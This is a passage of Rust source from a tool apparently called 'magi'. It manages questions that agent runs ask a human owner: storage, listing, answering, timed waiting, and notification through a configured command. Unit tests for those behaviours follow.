1633 let saved = q.resolution().unwrap_or_default();
1634 q.detail.push_str(&format!(
1635 "\n\nSaved reply (history only; no new owner request): {saved}"
1636 ));
1637 q.answer = None;
1638 q.answered_at = None;
1639 q.answer_authority = None;
1640 q.status = if crate::task_inquiry::Outbox::at(home)
1641 .get(&q.id)
1642 .is_ok_and(|record| {
1643 record.archived
1644 || record
1645 .decision
1646 .is_some_and(|d| d.status == crate::task_decision::Status::Resolved)
1647 }) {
1648 QuestionStatus::Abandoned
1649 } else {
1650 QuestionStatus::Open
1651 };
1652 }
1653 q
1654 }
1655
1656 fn with_repair_choice(&self, mut q: Question) -> Question {
1657 if q.status.open()
1660 && q.merge_target.is_none()
1661 && let Some(home) = self.root.parent()
1662 && let Some(target) = crate::release_watch::approval_target(home, &q)
1663 && let Ok((current, ())) = self.update(&q.id, |current| {
1664 if current.status.open() && current.merge_target.is_none() {
1665 current.merge_target = Some(target.clone());
1666 }
1667 Ok(())
1668 })
1669 {
1670 q = current;
1671 }
1672 if (q.status.open() || q.resolution().as_deref() == Some(crate::land::REPAIR))
1673 && q.node == crate::land::APPROVAL_NODE
1674 && let Some(home) = self.root.parent()
1675 && let Ok(state) = crate::run::RunState::load_under(&q.run, home)
1676 {
1677 let mut upgraded = q.clone();
1678 if crate::land::upgrade_repair_choice(&mut upgraded, &state) {
1679 match self.update(&q.id, |current| {
1680 crate::land::upgrade_repair_choice(current, &state);
1681 Ok(())
1682 }) {
1683 Ok((current, ())) => return current,
1684 Err(_) => return read_path(&self.path_of(&q.id)).unwrap_or(q),
1685 }
1686 }
1687 }
1688 q
1689 }
1690
1691 pub fn list(&self) -> Vec<Question> {
1699 let sources = self.root.parent().map(crate::task_chat::migration_sources);
1701 let mut all: Vec<Question> = std::fs::read_dir(&self.root)
1702 .into_iter()
1703 .flatten()
1704 .flatten()
1705 .map(|e| e.path())
1706 .filter(|p| p.extension().is_some_and(|x| x == "json"))
1707 .filter_map(|p| read_path(&p).ok())
1708 .map(|q| {
1709 let migrated = match &sources {
1710 Some(Ok(Some(ids))) => ids.contains(&q.id),
1711 Some(_) => true,
1712 None => false,
1713 };
1714 self.consumption_view_in(self.with_repair_choice(q), migrated)
1715 })
1716 .collect();
1717 all.sort_unstable_by(|a, b| {
1718 let rank = |q: &Question| u8::from(!q.status.open());
1719 rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
1720 });
1721 all
1722 }
1723
1724 pub(crate) fn snapshot(&self) -> Result<Vec<Question>> {
1728 let entries = match std::fs::read_dir(&self.root) {
1729 Ok(entries) => entries,
1730 Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Ok(Vec::new()),
1731 Err(error) => return Err(error).context("inspect pending questions"),
1732 };
1733 let mut questions = Vec::new();
1734 for entry in entries {
1735 let path = entry?.path();
1736 if path.extension().is_some_and(|ext| ext == "json") {
1737 questions.push(read_path(&path)?);
1738 }
1739 }
1740 Ok(questions)
1741 }
1742
1743 pub fn open_for(&self, run: &str) -> Vec<Question> {
1749 self.list()
1750 .into_iter()
1751 .filter(|q| q.status.open() && q.run == run)
1752 .collect()
1753 }
1754
1755 pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
1768 let mut abandoned = 0;
1769 for mut q in self.open_for(run) {
1770 q.abandon(why);
1771 self.put(&mut q)?;
1772 abandoned += 1;
1773 }
1774 Ok(abandoned)
1775 }
1776
1777 pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
1801 if status.resumable() {
1802 return Ok(0);
1803 }
1804 let why = format!(
1805 "run {run} {}, so nothing is waiting for this answer",
1806 status.as_str()
1807 );
1808 let mut abandoned = 0;
1813 for mut q in self.open_for(run) {
1814 if q.node == crate::bump::NOTICE_NODE {
1815 continue;
1816 }
1817 if q.routed_task.is_some() && q.routed_chat.is_none() {
1821 continue;
1822 }
1823 q.abandon(&why);
1824 self.put(&mut q)?;
1825 abandoned += 1;
1826 }
1827 Ok(abandoned)
1828 }
1829
1830 pub fn resolve_id(&self, prefix: &str) -> Result<String> {
1833 use crate::queue::{Reference, record_ids, resolve_reference};
1834 let ids = record_ids(&self.root, "json")?;
1835 match resolve_reference(prefix, ids.iter().map(String::as_str)) {
1836 Reference::Found(id) => Ok(id),
1837 Reference::Missing => bail!("no question matches `{prefix}`"),
1838 Reference::Ambiguous => bail!("`{prefix}` matches multiple questions"),
1839 }
1840 }
1841
1842 pub fn revision(&self) -> u64 {
1846 std::fs::read_dir(&self.root)
1847 .into_iter()
1848 .flatten()
1849 .flatten()
1850 .filter_map(|e| e.metadata().ok())
1851 .filter_map(|m| m.modified().ok())
1852 .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
1853 .map(|d| d.as_millis() as u64)
1854 .max()
1855 .unwrap_or(0)
1856 }
1857
1858 pub fn count_open(&self) -> usize {
1864 self.list().iter().filter(|q| q.status.open()).count()
1865 }
1866
1867 pub fn count_needs_owner(&self) -> usize {
1876 self.list()
1877 .iter()
1878 .filter(|q| q.status.open() && (!q.waiting_on_agent() || self.deputy_exhausted(q)))
1879 .count()
1880 }
1881
1882 pub fn deputy_exhausted(&self, q: &Question) -> bool {
1886 q.status.open()
1887 && q.deputy
1888 .as_ref()
1889 .is_some_and(|d| d.starts >= crate::deputy::MAX_STARTS)
1890 && !self
1891 .read_lease(&q.id)
1892 .is_some_and(|l| l.fresh(Timestamp::now()))
1893 }
1894}
1895
1896#[derive(Debug, Clone, PartialEq, Eq)]
1898pub enum Wait {
1899 Answered(String),
1901 Replied(String),
1906 Pending,
1913 Abandoned,
1918}
1919
1920pub async fn ask_and_wait(
1927 q: &mut Question,
1928 store: &Questions,
1929 notify: &config::Notify,
1930 timeout: Duration,
1931) -> Result<Wait> {
1932 wait_for_owner(q, store, notify, timeout, POLL).await
1933}
1934
1935pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
1950 wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
1951}
1952
1953async fn wait_for_owner(
1959 q: &mut Question,
1960 store: &Questions,
1961 cfg: &config::Notify,
1962 timeout: Duration,
1963 poll: Duration,
1964) -> Result<Wait> {
1965 if !store.path_of(&q.id).is_file() {
1969 store.put(q).context("file the question")?;
1970 }
1971 if q.should_notify(Timestamp::now()) {
1972 if let Err(e) = notify(cfg, q).await {
1973 tracing::warn!(
1978 "could not notify about question {}: {e:#} - the web UI is the \
1979 only surface for it now",
1980 q.short()
1981 );
1982 }
1983 }
1984 tracing::info!(
1985 "question {} from {} is waiting for you: {}",
1986 q.short(),
1987 q.seat,
1988 q.summary
1989 );
1990 wait_loop(q, store, timeout, WAIT_SLICE, poll).await
1991}
1992
1993fn hold(store: &Questions, id: &str) {
1995 store.beat(id, WaiterKind::Asker);
1996 let took = store.update(id, |q| {
1997 if q.status.open() {
1998 q.waiter = Some(Waiter {
1999 kind: WaiterKind::Asker,
2000 since: Timestamp::now(),
2001 });
2002 }
2003 Ok(())
2004 });
2005 if let Err(e) = took {
2006 tracing::debug!("could not note the wait on question {id}: {e:#}");
2007 }
2008}
2009
2010pub fn record_answer(
2021 store: &Questions,
2022 id: &str,
2023 reply: &str,
2024 title: Option<&str>,
2025) -> Result<String> {
2026 let (q, ()) = store.update(id, |r| {
2027 let answer = if r.free_text() {
2028 Answer::Text(reply.to_owned())
2029 } else {
2030 Answer::Choice(r.resolve_reply(reply)?.to_owned())
2031 };
2032 let replacement = r.node == crate::github_text::ASK_NODE
2033 && matches!(&answer, Answer::Choice(choice) if choice == crate::github_text::USE_MY_TEXT);
2034 if replacement {
2035 let title =
2036 title.context("use my text needs --title with the literal replacement title")?;
2037 if title.trim().is_empty() {
2038 bail!("replacement title must not be empty");
2039 }
2040 r.publication_title = Some(title.to_owned());
2041 } else if title.is_some() {
2042 bail!("--title is only valid for a publication decision's `use my text` choice");
2043 }
2044 r.answer(answer)
2045 })?;
2046 let mut out = format!("answered {} {}", q.short(), q.summary);
2047 let resolution = q.resolution();
2048 let approval = q.node == crate::land::APPROVAL_NODE;
2049 if approval && resolution.as_deref() == Some(crate::merge_decision::DISMISS) {
2050 out.push_str(
2051 "\nObsolete approval ended; its execution is retired, history retained and PR unchanged. No merge or replacement was authorized.",
2052 );
2053 }
2054 if approval
2055 && resolution.as_deref() != Some(crate::merge_decision::DISMISS)
2056 && resolution
2057 .as_deref()
2058 .is_some_and(crate::merge_decision::stops)
2059 {
2060 out.push_str(&format!(
2061 "\nDecision recorded; the existing owner must resume to apply it. This answer command has not closed a PR, dispatched replacement work or approved a merge. A running magi serve / magi web resumes the parked owner; otherwise use `magi run --resume {}`. Do not create another task.",
2062 q.run
2063 ));
2064 }
2065 if approval && resolution.as_deref() == Some(crate::land::REPAIR) {
2066 out.push_str(&format!(
2067 "\nRepair requested; this answer command has not started repair or approved a merge. \
2068 A running magi serve / magi web resumes the existing run. Without one, \
2069 run `magi run --resume {}` to start repair and re-review; do not create another task or run.",
2070 q.run
2071 ));
2072 }
2073 Ok(out)
2074}
2075
2076pub fn hand_over(store: &Questions, q: &mut Question) {
2084 let done = store.update(&q.id, |r| {
2085 r.delivered_turns = r.delivered_turns.max(q.thread.len());
2086 if r.status == QuestionStatus::Answered {
2087 r.answer_delivered = true;
2088 }
2089 r.waiter = None;
2090 Ok(())
2091 });
2092 match done {
2093 Ok((fresh, ())) => *q = fresh,
2094 Err(e) => tracing::debug!("could not record the hand-over of {}: {e:#}", q.short()),
2095 }
2096}
2097
2098pub fn answer_for_agent(q: &Question, answer: &str) -> String {
2102 let says = q.undelivered_owner_turns();
2103 if says.is_empty() {
2104 return answer.to_owned();
2105 }
2106 format!(
2107 "the owner also said, before answering:\n\n{}\n\nthe owner answered:\n\n{answer}",
2108 says.join("\n\n")
2109 )
2110}
2111
2112pub fn deliver_answer(
2115 store: &Questions,
2116 q: &mut Question,
2117 answer: &str,
2118 out: &mut impl std::io::Write,
2119) -> std::io::Result<()> {
2120 writeln!(out, "{}", answer_for_agent(q, answer))?;
2121 out.flush()?;
2122 hand_over(store, q);
2123 Ok(())
2124}
2125
2126async fn wait_loop(
2136 q: &mut Question,
2137 store: &Questions,
2138 timeout: Duration,
2139 slice: Duration,
2140 poll: Duration,
2141) -> Result<Wait> {
2142 if let Some(said) = q.unread_from_owner() {
2152 return Ok(Wait::Replied(said));
2153 }
2154 hold(store, &q.id);
2155
2156 let bounded = timeout.min(slice);
2157 let is_the_real_deadline = bounded >= timeout;
2158 let deadline = tokio::time::Instant::now() + bounded;
2159 loop {
2160 let now = tokio::time::Instant::now();
2161 if now >= deadline {
2162 if !is_the_real_deadline {
2163 return Ok(Wait::Pending);
2167 }
2168 let why = format!("no answer within {}s of asking", timeout.as_secs().max(1));
2169 let (fresh, unread) = store
2173 .update(&q.id, |r| {
2174 let unread = r.unread_from_owner();
2175 if unread.is_none() {
2176 r.abandon(&why);
2177 r.waiter = None;
2178 }
2179 Ok(unread)
2180 })
2181 .context("record the abandoned question")?;
2182 *q = fresh;
2183 if let Some(said) = unread {
2184 return Ok(Wait::Replied(said));
2185 }
2186 tracing::warn!(
2187 "question {} went unanswered for {}s; the run parks and the \
2188 question stays as the record of it",
2189 q.short(),
2190 timeout.as_secs()
2191 );
2192 return Ok(Wait::Abandoned);
2193 }
2194 tokio::time::sleep(poll.min(deadline - now)).await;
2195 store.beat(&q.id, WaiterKind::Asker);
2196 match store.get(&q.id) {
2197 Ok(fresh) if !fresh.status.open() => {
2198 *q = fresh;
2202 return Ok(match q.resolution() {
2203 Some(a) => Wait::Answered(a),
2204 None => Wait::Abandoned,
2207 });
2208 }
2209 Ok(fresh) => {
2210 if let Some(said) = fresh.unread_from_owner() {
2211 *q = fresh;
2212 return Ok(Wait::Replied(said));
2213 }
2214 }
2217 Err(e) => {
2218 tracing::debug!("could not re-read question {}: {e:#}", q.short());
2222 }
2223 }
2224 }
2225}
2226
2227pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
2238 if q.routed_task.is_some() {
2239 return Ok(());
2240 }
2241 let mut summary = format!("Question {}: {}", q.short(), q.summary.trim());
2242 if q.status.open() {
2243 summary.push_str(&format!(
2244 " Respond in Questions or with `magi answer {}`.",
2245 q.id
2246 ));
2247 }
2248 let url = question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default());
2249 notify_at(cmd, &q.run, &summary, &url).await
2250}
2251
2252pub async fn notify_text(cmd: &config::Notify, run: &str, summary: &str) -> Result<()> {
2255 let url = view_url(
2256 &std::env::var(WEB_URL_ENV).unwrap_or_default(),
2257 "notifications",
2258 );
2259 notify_at(cmd, run, summary, &url).await
2260}
2261
2262async fn notify_at(cmd: &config::Notify, run: &str, summary: &str, url: &str) -> Result<()> {
2263 let Some((program, args)) = cmd.command.split_first() else {
2264 return Ok(());
2266 };
2267 if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
2268 tracing::warn!(
2269 "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
2270 so the link will be empty - export it next to `magi serve` with \
2271 the address `magi web --open` printed"
2272 );
2273 }
2274 let argv: Vec<String> = args.iter().map(|a| expand(a, run, summary, url)).collect();
2275 tracing::debug!(program = %program, args = ?argv, "notifying");
2276
2277 let mut child = tokio::process::Command::new(program);
2278 child.quiet();
2279 child
2280 .args(&argv)
2281 .stdin(std::process::Stdio::null())
2282 .kill_on_drop(true);
2285 let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
2286 Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
2287 Err(_) => bail!(
2288 "notification command `{program}` did not finish within {}s",
2289 NOTIFY_TIMEOUT.as_secs()
2290 ),
2291 };
2292 if !out.status.success() {
2293 let stderr = String::from_utf8_lossy(&out.stderr);
2294 let why = stderr
2295 .lines()
2296 .rev()
2297 .find(|l| !l.trim().is_empty())
2298 .unwrap_or("no output on stderr")
2299 .trim();
2300 bail!(
2301 "notification command `{program}` exited with {}: {why}",
2302 out.status
2303 );
2304 }
2305 Ok(())
2306}
2307
2308fn expand(template: &str, run: &str, summary: &str, url: &str) -> String {
2314 let table = [("{summary}", summary), ("{run}", run), ("{url}", url)];
2315 let mut out = String::with_capacity(template.len());
2316 let mut rest = template;
2317 while let Some(at) = rest.find('{') {
2318 out.push_str(&rest[..at]);
2319 let tail = &rest[at..];
2320 match table.iter().find(|(token, _)| tail.starts_with(token)) {
2321 Some((token, value)) => {
2322 out.push_str(value);
2323 rest = &tail[token.len()..];
2324 }
2325 None => {
2326 out.push('{');
2328 rest = &tail[1..];
2329 }
2330 }
2331 }
2332 out.push_str(rest);
2333 out
2334}
2335
2336fn question_url(base: &str) -> String {
2343 view_url(base, "questions")
2344}
2345
2346fn view_url(base: &str, view: &str) -> String {
2347 let base = base.trim().trim_end_matches('/');
2348 if base.is_empty() || base.contains('#') {
2349 return base.to_owned();
2350 }
2351 format!("{base}/#/{view}")
2352}
2353
2354fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
2359 let index = dir.join(PANEL_HTML);
2360 std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
2361 for (name, src) in assets {
2362 let dst = dir.join(name);
2363 std::fs::copy(src, &dst)
2364 .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
2365 }
2366 Ok(())
2367}
2368
2369fn clear_dir(path: &Path) -> Result<()> {
2374 match std::fs::remove_dir_all(path) {
2375 Ok(()) => Ok(()),
2376 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
2377 Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
2378 }
2379}
2380
2381fn read_path(path: &Path) -> Result<Question> {
2382 let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
2383 let q: Question =
2384 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2385 if q.schema > SCHEMA {
2386 bail!(
2391 "question {} was written by a newer magi (schema {}, this build \
2392 only speaks up to {SCHEMA})",
2393 q.id,
2394 q.schema
2395 );
2396 }
2397 Ok(q)
2398}
2399
2400pub fn short_id(id: &str) -> &str {
2402 short(id)
2403}
2404
2405fn short(id: &str) -> &str {
2406 id.split('-').next_back().unwrap_or(id)
2407}
2408
2409fn new_id() -> String {
2410 let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
2411 new_id_at(&stamp.to_string(), crate::rng::entropy())
2412}
2413
2414fn new_id_at(stamp: &str, seed: u64) -> String {
2415 static NEXT: std::sync::atomic::AtomicU64 = std::sync::atomic::AtomicU64::new(0);
2420 let sequence = NEXT.fetch_add(1, std::sync::atomic::Ordering::Relaxed);
2421 format!(
2422 "{stamp}-{seed:016x}-{sequence:016x}-{:04x}",
2423 (seed ^ (seed >> 32)) & 0xffff
2424 )
2425}
2426
2427#[cfg(test)]
2428mod tests {
2429 use super::*;
2430
2431 fn store() -> (tempfile::TempDir, Questions) {
2434 let dir = tempfile::tempdir().unwrap();
2435 let s = Questions::at(dir.path().join("questions"));
2436 (dir, s)
2437 }
2438
2439 #[test]
2440 fn run_names_task_only_for_task_questions() {
2441 for (node, want) in [
2442 (crate::conduct::NODE, true),
2443 (crate::triage::NODE, true),
2444 (crate::triage::DEPS_NODE, true),
2445 (crate::land::APPROVAL_NODE, false),
2446 (crate::bump::NOTICE_NODE, false),
2447 ("implement", false),
2448 ] {
2449 let mut q = choice_question();
2450 q.node = node.to_owned();
2451 assert_eq!(q.run_names_task(), want, "{node}");
2452 }
2453 }
2454
2455 #[test]
2456 fn deleting_a_run_stops_its_questions_asking() {
2457 let (_dir, store) = store();
2458
2459 let mut open_one = choice_question();
2460 store.put(&mut open_one).unwrap();
2461 let mut answered = free_question();
2462 answered
2463 .answer(Answer::Text("keep this".to_owned()))
2464 .unwrap();
2465 store.put(&mut answered).unwrap();
2466 let mut elsewhere = choice_question();
2467 elsewhere.run = "20260903-105039-3cbf".to_owned();
2468 store.put(&mut elsewhere).unwrap();
2469
2470 let n = store
2471 .abandon_for_run(&open_one.run, "run was deleted")
2472 .unwrap();
2473 assert_eq!(n, 1, "only the open question of that run");
2474
2475 let back = store.get(&open_one.id).unwrap();
2476 assert!(!back.status.open(), "it no longer asks for a decision");
2477 assert!(
2478 back.detail.contains("run was deleted"),
2479 "the operator can see why: {}",
2480 back.detail
2481 );
2482
2483 let kept = store.get(&answered.id).unwrap();
2484 assert_eq!(
2485 kept.status,
2486 QuestionStatus::Answered,
2487 "an answered question is a decision on record, not something to revoke"
2488 );
2489 assert!(
2490 store.get(&elsewhere.id).unwrap().status.open(),
2491 "another run's question is untouched"
2492 );
2493 assert!(store.open_for(&open_one.run).is_empty());
2494 }
2495
2496 #[test]
2497 fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
2498 let (_dir, store) = store();
2499 let mut q = choice_question();
2500 store.put(&mut q).unwrap();
2501
2502 let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
2504 assert_eq!(n, 0);
2505 assert!(store.get(&q.id).unwrap().status.open());
2506
2507 let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
2510 assert_eq!(n, 1);
2511 let back = store.get(&q.id).unwrap();
2512 assert!(!back.status.open());
2513 assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
2514
2515 assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2517 }
2518
2519 #[test]
2520 fn settle_run_keeps_an_undelivered_routed_decision() {
2521 let (_dir, store) = store();
2522 let mut q = choice_question();
2523 q.routed_task = Some("task".into());
2524 store.put(&mut q).unwrap();
2525 assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2526 assert!(store.get(&q.id).unwrap().status.open());
2527
2528 store
2530 .update(&q.id, |r| {
2531 r.routed_chat = Some("chat".into());
2532 Ok(())
2533 })
2534 .unwrap();
2535 assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 1);
2536 }
2537
2538 fn choice_question() -> Question {
2539 Question::new(
2540 "20260902-201256-9fb7".to_owned(),
2541 "implement".to_owned(),
2542 "impl-A".to_owned(),
2543 "Which storage backend should the cache use?".to_owned(),
2544 "Both are already dependencies.".to_owned(),
2545 vec!["SQLite".to_owned(), "Redis".to_owned()],
2546 )
2547 }
2548
2549 fn free_question() -> Question {
2550 Question::new(
2551 "20260902-201256-9fb7".to_owned(),
2552 "review".to_owned(),
2553 "rev-1".to_owned(),
2554 "What should the error message say?".to_owned(),
2555 String::new(),
2556 Vec::new(),
2557 )
2558 }
2559
2560 fn quiet() -> config::Notify {
2562 config::Notify::default()
2563 }
2564
2565 #[test]
2566 fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
2567 let mut q = choice_question();
2571 q.id = "20260902-231501-ab12".to_owned();
2572 let open: serde_json::Value = serde_json::to_value(&q).unwrap();
2573 let keys: Vec<&str> = open
2577 .as_object()
2578 .unwrap()
2579 .keys()
2580 .map(String::as_str)
2581 .collect();
2582 assert_eq!(
2583 keys,
2584 [
2585 "actions",
2586 "answer",
2587 "answer_delivered",
2588 "answer_timeout",
2589 "answered_at",
2590 "asked_at",
2591 "assets",
2592 "choices",
2593 "consult",
2594 "cwd",
2595 "decision_context",
2596 "delivered_turns",
2597 "deputy",
2598 "detail",
2599 "id",
2600 "merge_target",
2601 "node",
2602 "panel",
2603 "routed_chat",
2604 "routed_task",
2605 "run",
2606 "schema",
2607 "seat",
2608 "status",
2609 "summary",
2610 "thread",
2611 "triage_generation",
2612 "waiter",
2613 ],
2614 "the on-disk field set is a contract with the front end"
2615 );
2616 assert_eq!(open["schema"], 13);
2617 assert_eq!(open["merge_target"], serde_json::Value::Null);
2618 assert_eq!(open["triage_generation"], serde_json::Value::Null);
2619 assert_eq!(open["thread"], serde_json::json!([]));
2620 assert_eq!(open["id"], "20260902-231501-ab12");
2621 assert_eq!(open["run"], "20260902-201256-9fb7");
2622 assert_eq!(open["node"], "implement");
2623 assert_eq!(open["seat"], "impl-A");
2624 assert_eq!(open["status"], "open");
2625 assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
2626 assert_eq!(open["answered_at"], serde_json::Value::Null);
2627 assert_eq!(open["answer"], serde_json::Value::Null);
2628 let asked = open["asked_at"].as_str().unwrap();
2629 assert!(
2630 asked.ends_with('Z') && asked.contains('T'),
2631 "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
2632 );
2633
2634 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2636 let answered = serde_json::to_value(&q).unwrap();
2637 assert_eq!(answered["status"], "answered");
2638 assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
2639 assert!(answered["answered_at"].is_string());
2640
2641 let mut free = free_question();
2643 free.answer(Answer::Text("Say which file it was".to_owned()))
2644 .unwrap();
2645 assert_eq!(
2646 serde_json::to_value(&free).unwrap()["answer"],
2647 serde_json::json!({"text": "Say which file it was"})
2648 );
2649
2650 let body = serde_json::to_string(&q).unwrap();
2652 assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
2653 }
2654
2655 #[test]
2656 fn merge_target_persists_and_schema_10_questions_remain_readable() {
2657 let (_dir, store) = store();
2658 let mut q = approval_question();
2659 q.merge_target = Some(crate::merge_decision::Target {
2660 pr: "https://github.com/example/repo/pull/42".into(),
2661 head: "reviewed-head".into(),
2662 language: "ja".into(),
2663 });
2664 store.put(&mut q).unwrap();
2665 let saved = store.get(&q.id).unwrap();
2666 assert_eq!(saved, q);
2667 let mut body = serde_json::to_value(&saved).unwrap();
2668 assert_eq!(body["schema"], 13);
2669 assert_eq!(
2670 body["merge_target"],
2671 serde_json::json!({
2672 "pr": "https://github.com/example/repo/pull/42",
2673 "head": "reviewed-head",
2674 "language": "ja"
2675 })
2676 );
2677
2678 body["schema"] = serde_json::json!(10);
2681 body.as_object_mut().unwrap().remove("merge_target");
2682 std::fs::write(store.path_of(&q.id), serde_json::to_vec(&body).unwrap()).unwrap();
2683 let legacy = store.get(&q.id).unwrap();
2684 assert_eq!(legacy.schema, 10);
2685 assert!(legacy.merge_target.is_none());
2686 assert_eq!(legacy.choices, q.choices);
2687 assert_eq!(legacy.status, q.status);
2688 }
2689
2690 #[test]
2691 fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
2692 let mut unoffered = choice_question();
2695 let a = unoffered
2696 .answer(Answer::Choice("Postgres".to_owned()))
2697 .unwrap_err()
2698 .to_string();
2699
2700 let mut typed = choice_question();
2701 let b = typed
2702 .answer(Answer::Text("use Postgres".to_owned()))
2703 .unwrap_err()
2704 .to_string();
2705
2706 let mut blank = free_question();
2707 let c = blank
2708 .answer(Answer::Text(" \n".to_owned()))
2709 .unwrap_err()
2710 .to_string();
2711
2712 let mut twice = choice_question();
2713 twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2714 let d = twice
2715 .answer(Answer::Choice("Redis".to_owned()))
2716 .unwrap_err()
2717 .to_string();
2718
2719 assert!(a.contains("not one of the choices"), "{a}");
2720 assert!(b.contains("multiple choice"), "{b}");
2721 assert!(c.contains("empty"), "{c}");
2722 assert!(d.contains("already answered"), "{d}");
2723 let mut distinct = vec![a, b, c, d];
2724 let asked = distinct.len();
2725 distinct.sort_unstable();
2726 distinct.dedup();
2727 assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
2728
2729 assert_eq!(unoffered.status, QuestionStatus::Open);
2731 assert_eq!(typed.status, QuestionStatus::Open);
2732 assert_eq!(blank.status, QuestionStatus::Open);
2733 assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
2735
2736 let mut free = free_question();
2738 let e = free
2739 .answer(Answer::Choice("SQLite".to_owned()))
2740 .unwrap_err()
2741 .to_string();
2742 assert!(e.contains("free text"), "{e}");
2743 }
2744
2745 #[test]
2746 fn open_questions_are_listed_before_answered_ones() {
2747 let (_dir, s) = store();
2748 let mut old_open = choice_question();
2751 old_open.id = "20260101-000001-aaaa".to_owned();
2752 let mut new_open = choice_question();
2753 new_open.id = "20260101-000002-bbbb".to_owned();
2754 let mut answered = choice_question();
2755 answered.id = "20260101-000003-cccc".to_owned();
2756 answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
2757 for q in [&mut old_open, &mut new_open, &mut answered] {
2758 s.put(q).unwrap();
2759 }
2760
2761 let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
2762 assert_eq!(
2763 ids,
2764 [
2765 "20260101-000002-bbbb",
2766 "20260101-000001-aaaa",
2767 "20260101-000003-cccc"
2768 ],
2769 "what has stopped work comes first; history sorts underneath"
2770 );
2771 assert_eq!(s.count_open(), 2);
2772 assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
2773 assert!(s.open_for("some-other-run").is_empty());
2774 assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
2776 assert!(s.get("20260101-000002-bbbb").is_ok());
2777 assert!(s.resolve_id("nope").is_err());
2778 assert!(
2779 s.revision() > 0,
2780 "the store's mtime drives the phone's polling"
2781 );
2782 }
2783
2784 #[test]
2785 fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
2786 let (_dir, s) = store();
2787 let mut good = choice_question();
2788 s.put(&mut good).unwrap();
2789 std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
2791 let future = serde_json::json!({
2792 "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
2793 "seat": "s", "summary": "?", "detail": "", "choices": [],
2794 "status": "open", "asked_at": "2026-01-01T00:00:00Z",
2795 "answered_at": null, "answer": null,
2796 });
2797 std::fs::write(
2798 s.path_of("20260101-000010-beef"),
2799 serde_json::to_string(&future).unwrap(),
2800 )
2801 .unwrap();
2802
2803 let listed = s.list();
2804 assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
2805 assert_eq!(listed[0].id, good.id);
2806 let e = s.get("20260101-000010-beef").unwrap_err().to_string();
2808 assert!(e.contains("schema"), "{e}");
2809 }
2810
2811 #[tokio::test]
2812 async fn the_wait_returns_the_answer_another_process_wrote() {
2813 let (dir, s) = store();
2818 let mut q = choice_question();
2819 let id = q.id.clone();
2820 let writer = Questions::at(dir.path().join("questions"));
2821 let handle = tokio::spawn(async move {
2822 tokio::time::sleep(Duration::from_millis(30)).await;
2823 let mut fresh = writer.get(&id).expect("the question was filed first");
2824 fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2825 writer.put(&mut fresh).unwrap();
2826 });
2827
2828 let got = wait_for_owner(
2829 &mut q,
2830 &s,
2831 &quiet(),
2832 Duration::from_secs(5),
2833 Duration::from_millis(10),
2834 )
2835 .await
2836 .unwrap();
2837
2838 handle.await.unwrap();
2839 assert_eq!(got, Wait::Answered("SQLite".to_owned()));
2840 assert_eq!(
2841 q.status,
2842 QuestionStatus::Answered,
2843 "the caller's copy is refreshed from the answering process's record"
2844 );
2845 assert!(q.answered_at.is_some());
2846 }
2847
2848 #[tokio::test]
2849 async fn a_question_nobody_answers_is_abandoned_not_deleted() {
2850 let (_dir, s) = store();
2851 let mut q = choice_question();
2852
2853 let got = wait_for_owner(
2854 &mut q,
2855 &s,
2856 &quiet(),
2857 Duration::from_millis(60),
2858 Duration::from_millis(10),
2859 )
2860 .await
2861 .unwrap();
2862
2863 assert_eq!(
2864 got,
2865 Wait::Abandoned,
2866 "a slow human is not an error; the run parks"
2867 );
2868 assert_eq!(q.status, QuestionStatus::Abandoned);
2869 let on_disk = s.get(&q.id).expect("the record of what was asked survives");
2870 assert_eq!(on_disk.status, QuestionStatus::Abandoned);
2871 assert!(
2872 on_disk.detail.contains("Abandoned:"),
2873 "why nobody answered belongs with the question: {}",
2874 on_disk.detail
2875 );
2876 assert!(on_disk.resolution().is_none());
2877 assert_eq!(s.count_open(), 0);
2878 }
2879
